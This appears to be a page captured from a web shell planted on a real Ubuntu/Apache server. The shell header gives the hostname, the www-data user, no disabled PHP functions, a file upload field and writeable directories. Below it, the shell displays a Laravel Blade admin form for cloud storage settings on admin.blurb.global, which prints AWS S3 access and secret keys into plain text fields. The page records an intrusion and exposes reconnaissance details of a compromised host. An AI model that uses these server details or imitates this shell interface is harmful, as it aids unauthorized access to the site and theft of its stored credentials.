KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/admin.blurb.global/resources/views/notificationsetting/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/admin.blurb.global/resources/views/notificationsetting/edit.blade.php
@extends('layout')
@section('content')
    <!-- begin::main content -->
    <main class="main-content">

        <div class="container">

            <!-- begin::page header -->
            <div class="page-header">
                <h3 class="text-capitalize">Edit Cloud Setting</h3>
                <nav aria-label="breadcrumb">
                    <ol class="breadcrumb">
                        <li class="breadcrumb-item"><a href="{{ asset('dashboard') }}">Dashboard</a></li>
                        <li class="breadcrumb-item"><a href="{{ asset('users') }}">Cloud Setting</a></li>
                        <li class="breadcrumb-item active" aria-current="page">Edit</li>
                    </ol>
                </nav>
            </div>
            <!-- end::page header -->
            <x-flashMessage />
            <div class="row">
                <div class="col-md-6">
                    <div class="card">
                        <div class="card-header">
                            <a href="{{ asset('cloudsetting') }}"
                                class="btn btn-primary pull-right text-white text-uppercase"><i
                                    class="fa fa-list fa-lg pr-2"></i>Cloud Setting</a>
                        </div>
                        <div class="card-body">
                            <form action="{{ asset('edit-cloudsetting'."/".Request::segment(2)) }}" method="post">
                                @csrf

																<div class="form-group">
																	<label for="institute">Admin</label>
																	<select class="form-control" required id="js-example-basic-roles " name="admin_id">
																			<option value="">select Admin</option>
																			@if(!$users->isEmpty())
																			@foreach($users as $user)
																			<option value="{{$user->id}}" {{($user->id == $cloud_setting->admin_id)?"selected":""}}>{{$user->name}}</option>
																			@endforeach
																			@endif
																			{{-- <option value="google_drive">Googl Drive</option> --}}
																	</select>

																	@if ($errors->has('admin_id'))
																			<div class="admin_id">
																					{{ $errors->first('admin_id') }}
																			</div>
																	@endif
															</div>

                                <div class="form-group">
                                    <label for="institute">Type</label>
                                    <select class="form-control type" required id="js-example-basic-roles " name="type">
                                        <option value="">select Type</option>
                                        <option value="aws" {{($cloud_setting->type == 'aws')?"selected":""}}>AWS</option>
                                        <option value="google_drive" {{($cloud_setting->type == 'google_drive')?"selected":""}}>Googl Drive</option>
                                    </select>

                                    @if ($errors->has('type'))
                                        <div class="error">
                                            {{ $errors->first('type') }}
                                        </div>
                                    @endif
                                </div>

                                <div id="aws" >
                                    <div class="form-group">
                                        <label for="username">AWS S3 ACCESS KEY</label>
                                        <input type="text" class="form-control" name="AWS_S3_ACCESS_KEY"
                                            value="{{ $cloud_setting->AWS_S3_ACCESS_KEY }}" id="AWS_S3_ACCESS_KEY"
                                            placeholder="Enter AWS S3 ACCESS KEY">

                                        @if ($errors->has('AWS_S3_ACCESS_KEY'))
                                            <div class="error">
                                                {{ $errors->first('AWS_S3_ACCESS_KEY') }}
                                            </div>
                                        @endif
                                    </div>

                                    <div class="form-group">
                                        <label for="email">AWS S3 SECRET KEY</label>
                                        <input type="text" class="form-control" name="AWS_S3_SECRET_KEY"
																				value="{{ $cloud_setting->AWS_S3_SECRET_KEY }}"  id="AWS_S3_SECRET_KEY"
                                            placeholder="Enter AWS_S3_SECRET_KEY">

                                        @if ($errors->has('AWS_S3_SECRET_KEY'))
                                            <div class="error">
                                                {{ $errors->first('AWS_S3_SECRET_KEY') }}
                                            </div>
                                        @endif

                                    </div>

                                    <div class="form-group">
                                        <label for="phone">AWS REGION</label>
                                        <input type="text" class="form-control" name="AWS_REGION"
																				value="{{ $cloud_setting->AWS_REGION }}"  id="AWS_REGION" placeholder="Enter AWS_REGION">
                                        @if ($errors->has('AWS_REGION'))
                                            <div class="error">
                                                {{ $errors->first('AWS_REGION') }}
                                            </div>
                                        @endif

                                    </div>

                                    <div class="form-group">
                                        <label for="institute">AWS HOST</label>
                                        <input type="text" class="form-control" name="AWS_HOST"
																				value="{{ $cloud_setting->AWS_HOST }}"  id="AWS_HOST" placeholder="Enter AWS_HOST">
                                        @if ($errors->has('AWS_HOST'))
                                            <div class="error">
                                                {{ $errors->first('AWS_HOST') }}
                                            </div>
                                        @endif
                                    </div>

                                    <div class="form-group">
                                        <label for="institute">AWS BUCKET</label>
                                        <input type="text" class="form-control" name="AWS_BUCKET"
																				value="{{ $cloud_setting->AWS_BUCKET }}"  id="AWS_BUCKET" placeholder="Enter AWS_BUCKET">
                                        @if ($errors->has('AWS_BUCKET'))
                                            <div class="error">
                                                {{ $errors->first('AWS_BUCKET') }}
                                            </div>
                                        @endif
                                    </div>

                                    <div class="form-group">
                                        <label for="institute">AWS VIDEO FD</label>
                                        <input type="text" class="form-control" name="AWS_VIDEO_FD"
																				value="{{ $cloud_setting->AWS_VIDEO_FD }}"  id="AWS_VIDEO_FD"
                                            placeholder="Enter AWS_VIDEO_FD">
                                        @if ($errors->has('AWS_VIDEO_FD'))
                                            <div class="error">
                                                {{ $errors->first('AWS_VIDEO_FD') }}
                                            </div>
                                        @endif
                                    </div>

                                    <div class="form-group">
                                        <label for="institute">AWS EBOOK FD</label>
                                        <input type="text" class="form-control" name="AWS_EBOOK_FD"
																				value="{{ $cloud_setting->AWS_EBOOK_FD }}"  id="AWS_VIDEO_FD"
                                            placeholder="Enter AWS_EBOOK_FD">
                                        @if ($errors->has('AWS_EBOOK_FD'))
                                            <div class="error">
                                                {{ $errors->first('AWS_EBOOK_FD') }}
                                            </div>
                                        @endif
                                    </div>

                                </div>

                                <div id="google" >

                                    <div class="form-group">
                                        <label for="institute">GOOGLE FD ID</label>
                                        <input type="text" class="form-control" name="GOOGLE_FD_ID"
																				value="{{ $cloud_setting->GOOGLE_FD_ID }}"  id="GOOGLE_FD_ID"
                                            placeholder="Enter GOOGLE_FD_ID">
                                        @if ($errors->has('GOOGLE_FD_ID'))
                                            <div class="error">
                                                {{ $errors->first('GOOGLE_FD_ID') }}
                                            </div>
                                        @endif
                                    </div>

                                    <div class="form-group">
                                        <label for="institute">GOOGLE FILE PATH</label>
                                        <input type="text" class="form-control" name="GOOGLE_FILE_PATH"
																				value="{{ $cloud_setting->GOOGLE_FILE_PATH }}"  id="GOOGLE_FILE_PATH"
                                            placeholder="Enter GOOGLE_FILE_PATH">
                                        @if ($errors->has('GOOGLE_FILE_PATH'))
                                            <div class="error">
                                                {{ $errors->first('GOOGLE_FILE_PATH') }}
                                            </div>
                                        @endif
                                    </div>


                                </div>



                                <button type="submit" class="btn btn-primary">Submit</button>
                            </form>
                        </div>
                    </div>



                </div>

            </div>

        </div>

    </main>
    <!-- end::main content -->
@endsection
@push('footer-script')
    <!-- begin::select2 -->
    <!-- begin::select2 -->
    <link rel="stylesheet" href="{{ asset('public/admin/vendors/select2/css/select2.min.css') }}" type="text/css">
    <!-- end::select2 -->

    <script src="{{ asset('public/admin/vendors/select2/js/select2.min.js') }}"></script>
    <script src="{{ asset('public/admin/js/examples/select2.js') }}"></script>
    <!-- end::select2 -->
    <script>
        $(document).ready(function() {
            $('#js-example-basic-roles').select2({});

				
						$(document).on("change",'.type',function(){
								let type = $(this).val();

								if(type == 'aws')
								{
									$('#aws').css('display','block');
									$('#google').css('display','none');
								}else{
									$('#aws').css('display','none');
									$('#google').css('display','block');
								}
								// alert(type);
						})

        });
    </script>
@endpush

Anon7 - 2021